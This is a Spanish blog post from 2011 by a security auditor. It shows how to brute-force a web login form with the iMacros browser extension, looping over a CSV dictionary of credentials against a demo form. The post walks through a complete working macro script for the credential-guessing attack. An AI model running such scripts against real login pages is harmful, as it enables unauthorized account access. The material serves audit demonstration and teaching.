lunes, 26 de septiembre de 2011

1. Obtención de contraseñas por fuerza bruta con iMacros!


"Para que pueda surgir lo posible, es preciso intentar una y otra vez lo imposible" - Hermann Hesse



¡Muy Buenas!

En este artículo, mi primero con contenido, voy a presentaros una alternativa a las herramientas habituales de fuerza bruta web, utilizadas para obtener credenciales en un portal.

La historia comienza un buen día, en el que me encontraba auditando una web con un formulario vulnerable a ataques de fuerza bruta (por aquello de no implementar tiempos de espera entre peticiones), y quería aportar una evidencia que lo demostrase ya que, como sabréis, no es lo mismo decir "el fuego quema" que "mira pon la mano aquí y verás que calentito", la segunda opción es más impactante.

Así pues, intenté utilizar una de las herramientas más conocidas para este propósito, como es Medusa / Hydra, y estaba volviéndome loco para intentar escribir la orden que consiguiera encajar con aquel formulario, pero no había manera. El problema era que los identificadores de los campos del formulario se generaban dinámicamente con JavaScript y tenían la simpática costumbre de ir cambiando, por lo que me era imposible referenciarlos (si alguien sabe hacerlo, por favor, que me lo explique).

Descartando la utilización de las herramientas habituales pensé en utilizar iMacros, que se presenta como una extensión para Firefox (y además forma parte de la excelente suite FireCatMantra), que te permite automatizar tareas en el navegador con mucha versatilidad. 

Conozco iMacros de hace unos años porque un amigo, el señor Adrián Capdevila, lo utilizaba para automatizar tareas repetivas y, posteriormente, algunas mentes inquietas exportamos esta idea para jugar con ventaja en juegos web.

El caso es que esta extensión te permite grabar una tarea y posteriormente repetirla hasta la saciedad y esto, en esencia, se parece bastante a un ataque de fuerza bruta, solo había que ver si era posible manejar datos variables para, como reza el título "intentar una y otra vez lo imposible" y que "pueda surigir lo posible".

Así que, como os imaginaréis al haber escrito el artículo, sí que lo pude conseguir y os voy a explicar cómo:

  • Entramos en nuestro formulario objetivo (podéis ver uno muy sencillo que creé para la ocasión, ya que no veía muy ético mostar un ejemplo real que se pudiera reutilizar fácilmente) y cargamos la extensión.





  • A continuación, en la pestaña "Rec" indicamos que el modo de clic debe ser X/Y, ya que el valor de la etiqueta HTML era lo que iba cambiando y no nos vale.



  • Posteriormente lo que hacemos es pulsar en "Record" y realizar los pasos necesarios para un intento de conexión, que son:
    • Clic en el campo usuario
    • Escribir un nombre de usuario (cualquiera)
    • Clic en el campo contraseña
    • Escribir una contraseña (cualquiera)
    • Clic sobre el botón autenticar
    • Clic en "Stop"
    • Guardamos el fichero creado con "Save"

NOTA: Es muy importante realizar estas acciones con clics del ratón y no mediante el tabulador o pulsando intro, ya que queremos que se registren las posiciones donde se ha pulsado.



  • El fichero resultado tendrá un aspecto similar a este:
VERSION BUILD=7400919 RECORDER=FX
TAB T=1
URL GOTO=http://10.0.0.5/index.html
CLICK X=324 Y=113
TAG POS=1 TYPE=INPUT:TEXT FORM=ACTION:/cgi-bin/validar.pl ATTR=NAME:user CONTENT=usuario
CLICK X=324 Y=113 CONTENT=usuario
CLICK X=324 Y=140
SET !ENCRYPTION NO
CONTENT=contrasenya
CLICK X=192 Y=164



  • Que se puede simplificar para no arrastrar basura como:
VERSION BUILD=7400919 RECORDER=FX
TAB T=1
URL GOTO=http://10.0.0.5/index.html
CLICK X=324 Y=113 CONTENT=usuario
SET !ENCRYPTION NO
CLICK X=324 Y=140 CONTENT={{!COL2}}
CLICK X=192 Y=164




  • Probamos su funcionamiento desde la pestaña "Play" y, si va bien, ya tenemos una base que modificar para que pueda funcionar de forma iterativa.

  • Ahora es necesario añadir un fichero como origen de datos con los usuarios y contraseñas. En este caso he utilizado un fichero con formato CSV porque iMacros los maneja muy bien y con un pequeño script en Perl he rellenado previamente unos cuantas líneas con el formato "usuario", "contraseña".
' Fichero con los usuarios y contraseñas a probar. Es un CSV de 2 columnas
SET !DATASOURCE /home/users/jluispellicer/diccionario.csv
SET !DATASOURCE_COLUMNS 2
 


  • A continuación hay que definir mediante el comando !LOOP la iteración sobre este fichero.
 ' Inciamos la recursion con el valor incial 1
SET !LOOP 1
SET !DATASOURCE_LINE {{!LOOP}}



  • Y finalmente substituir los valores por las variables que contendrán los datos del fichero.
 ' Rellenamos el nombre
CLICK X=324 Y=113 CONTENT={{!COL1}}

' Rellenamos la contraseña
CLICK X=324 Y=140 CONTENT={{!COL2}}



  • Este es el código final con comentarios, que funciona en mi formulario.
VERSION BUILD=7400919 RECORDER=FX

' Cerrar todas las pestañas menos la actual
TAB CLOSEALLOTHERS
TAB T=1

' Fichero con los usuarios y contraseñas a probar. Es un CSV de 2 columnas
SET !DATASOURCE /home/users/jluispellicer/diccionario.csv
SET !DATASOURCE_COLUMNS 2

' Inciamos la recursion con el valor incial 1
SET !LOOP 1
SET !DATASOURCE_LINE {{!LOOP}}

' Cargar la pagina
'URL GOTO=http://10.0.0.5/index.html

' Rellenamos el nombre
CLICK X=324 Y=113 CONTENT={{!COL1}}

' Rellenamos la contraseña
SET !ENCRYPTION NO
CLICK X=324 Y=140 CONTENT={{!COL2}}

' Click en el boton Autenticar
CLICK X=192 Y=164




  • Una vez totalmente preparado, lo lanzamos indicando un valor alto en "Repeat Macro Max" y pulsando sobre "Play (Loop)" tal y como muestra el siguiente vídeo, con la  obtención final de la contraseña:

Como veréis no es un método muy eficiente, ya que espera que se cargue totalmente la página, y tampoco he programado ninguna condición de parada, pero iMacros ofrece muchas más posibilidades, desde la interfaz web se puede escribir a fichero, utilizar código Javascript, etc., pero además se puede utilizar en distintos lenguajes de programación.

Bueno, espero que os haya gustado, si os surge alguna duda podéis preguntar en los comentarios y si os viene bien algún script o fichero utilizado me lo podéis pedir sin problemas. No he querido entrar en demasiado detalles, como por ejemplo, la API de la extensión, para no centrarme en ellos, sino más bien en la posibilidad de utilizar iMacros con este propósito.

¡Saludos!

Editado: Corregidos varios fallos gracias a Enric

6 comentarios:

  1. Hola Luis! Parece que esto tiene calidad! Me gusta el rollo ese de las frases célebres :)
    Ya tienes otro seguidor.

    ResponderEliminar
  2. ¡Hola J Luís!

    Acabo de votar tu blog en los Premios Bitácoras 2011.

    Yo también he presentado el mío al Mejor Blog Tecnológico, es iPadSfera (www.ipadsfera.com).

    ¿Me ayudas? http://bit.ly/oRHyJK

    Muchísimas gracias y mucha suerte =)

    ResponderEliminar
  3. La verdad es que es super flexible y bastante potente según para que cosas y eso que no estaba pensado para cosas de seguridad.

    A cualquiera que le cuentes para que lo utilizamos en un principio... nos diría de todo!! XD

    ResponderEliminar
  4. Jeje, lo que pasó en "empresa X", se queda en "empresa X"

    ResponderEliminar

Por favor, deja tu comentario relacionado con el tema, solo te pido que digas lo que digas lo hagas con respeto :)